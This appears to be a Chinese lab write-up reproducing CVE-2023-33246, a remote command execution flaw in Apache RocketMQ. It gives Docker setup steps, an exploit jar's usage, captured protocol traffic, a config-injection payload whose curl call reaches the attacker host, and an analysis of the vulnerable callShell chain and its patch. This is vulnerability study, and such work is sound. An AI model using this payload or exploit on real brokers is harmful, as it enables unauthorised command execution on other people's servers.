RocketMQ是一款纯java、分布式、队列模型的开源消息中间件,主要用于在分布式系统中进行异步消息传递,支持事务消息、顺序消息、批量消息、定时消息、消息回溯等功能。
RocketMQ有四个核心组成部分:
NameServer:RocketMQ的服务注册中心,用于保存Broker相关元信息;
Broker:消息存储中心,接收并存储Producer的消息,Consumer从此处获得信息,Master节点可写可读,Slave节点不可写只可读;
Producer:消息生产者;
Consumer:消息消费者。
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
mkdir -p /mydata/rocketmq/conf/
vi /mydata/rocketmq/conf/broker.conf
粘贴以下内容
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X #主机IP
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\
-Dcom.rocketmq.sendMessageWithVIPChannel=false"\
-t apacherocketmq/rocketmq-console:2.0.0
访问8899端口
成功访问
EXP地址:
https://github.com/Serendipity-Lucky/CVE-2023-33246
命令:
java -jar CVE-2023-33246.jar -ip "目标IP" -cmd "需要执行的命令"
远程命令执行:
使用wireshark查看10.88.80.137(靶机)和10.88.80.119(攻击机)之间的数据传输:
首先是exp向NameServer请求Broker节点的信息:
{
"code": 105,
"extFields": {"topic": "TBW102"},
"flag": 0,
"language": "JAVA",
"opaque": 1,
"serializeTypeCurrentRPC": "JSON",
"version": 395
}
然后NameSever返回Broker节点信息:
{
"brokerDatas":[{
"brokerAddrs":{0: "10.88.80.137:10911"},
"brokerName":"broker-a",
"cluster":"DefaultCluster"
}],
"filterServerTable":{},
"queueDatas": [{
"brokerName":"broker-a",
"perm":7,
"readQueueNums":8,
"topicSysFlag":0,
"writeQueueNums":8
}]
}
这之后,EXP仿冒Console节点,访问NameSerber节点获取注册Broker数据,而不需要鉴权,且数据明文传输。
filterServerNums=1
rocketmqHome=-c $@|sh . echo curl http://10.88.80.119;
利用DefaultMQAdminExt未鉴权的特征,使用updateBrokerConfig函数将构建的payload向Broker节点发送。
https://rocketmq.apache.org/download/ 选择下载4.9.1 Source版本。
updateBrokerConfig() -> getConfiguration().update() 链中没有对输入校验
exp打入一次后会一直执行,推测调用props为另一条链
搜索exec找到callShell
搜索callShell找到createFilterServer
其中buildStartCommand如下
在payload中,对rocketmqhome进行了赋值,故此处命令拼接造成远程命令执行。
https://rocketmq.apache.org/download/ 选择下载4.9.6 Source版本。
直接把callShell删掉了